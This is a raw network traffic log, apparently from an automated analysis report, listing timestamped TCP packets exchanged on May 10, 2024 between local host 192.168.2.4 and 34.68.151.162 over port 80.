May 10, 2024 09:20:58.537209034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537224054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537229061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537235975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537247896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537260056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537265062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537272930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537286043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537297010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537297964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537307978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537317991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537323952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537332058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537343979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537352085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537355900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537368059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537368059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537379026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537380934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537390947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537404060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537408113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537416935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537427902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537431955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537440062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537445068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537452936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537463903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537475109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537487030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537497044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537497044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537497044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537509918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537519932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537522078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537533998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537545919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537554979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537559032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537571907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537575006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537584066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537594080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537596941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537610054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537616014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537621021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537633896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537638903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537646055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537657976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537667990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537679911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537682056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537691116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537691116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537703991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537715912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537718058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537728071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537739038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537750006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537755013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537761927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537772894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537785053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537794113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537796021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537807941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537818909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537818909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537831068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537842035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537853003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537856102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537856102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537864923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537877083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537887096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537888050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537899017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537900925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537910938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537916899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537924051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537935972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537946939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537955046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537957907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537967920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537970066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537982941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537991047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537997961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538008928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538018942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538029909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538032055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538041115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538053036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538062096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538064003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538075924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538078070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538086891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538095951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538099051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538110971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538111925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538122892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538135052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538136959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538146019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538157940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538158894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538171053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538181067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538193941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538204908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538207054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538217068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538225889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538228035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538239956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538250923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538259983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538261890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538275003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538285017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538285971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538297892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538299084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538310051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538321018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538321018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538332939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538343906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538355112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538364887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538376093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538377047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538376093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538388014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538399935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538407087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538412094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538424969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538435936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538435936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538446903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538459063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538469076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538470984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538481951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538492918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538501024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538506031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538516045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538516998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538531065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538541079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538556099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538563967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538563967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538567066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538578987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538579941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538593054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538603067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538604021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538618088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538624048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538629055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538640976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538649082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538652897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538665056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538672924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538676977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538690090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538702011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538705111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538708925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538719893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538731098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538732052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538743019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538753986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538754940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538767099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538769007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538779974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538789034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538791895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538804054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538814068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538815022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538826942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538839102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538849115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538851023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538863897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538873911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538885117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538894892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538906097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538907051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538907051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538918018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538922071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538929939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538942099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538953066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538957119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538964987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538969994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.538978100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.538990021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539000034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539000034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539011955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539024115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539033890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539033890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539047956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539057970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539068937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539078951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539088011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539088011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539088011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539089918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539103985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539113998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539114952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539128065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539138079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539139032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539158106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539170027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539170027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539184093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539191961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539196014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539208889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539216995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539220095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539232016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539243937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539249897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539254904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539264917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539268017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539280891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539289951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539294958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539305925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539314032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539318085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539329052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539335966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539340973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539351940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539364100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539365053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539376020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539386988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539387941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539398909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539411068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539414883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539422989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539433956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539433956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539446115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539458036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539458036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539469004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539482117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539490938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539493084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539505959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539514065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539516926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539529085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539535999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539541006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539551973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539561033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539563894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539577961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539583921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539589882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539601088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539609909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539613962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539624929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539625883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539638996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539648056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539649963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539663076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539674997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539684057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539685011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539697886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539709091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539709091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539722919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539735079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539745092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539747953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539760113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539771080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539782047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539791107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539793968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539805889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539805889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539819002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539829016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539829969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539840937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539854050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539859056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539865971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539877892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539889097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539891958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539901018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539908886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539912939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539925098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.539925098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.539947033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540189028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540200949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540211916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540224075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540234089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540236950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540246964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540256977 CEST	49754	80	192.168.2.4	34.68.151.162
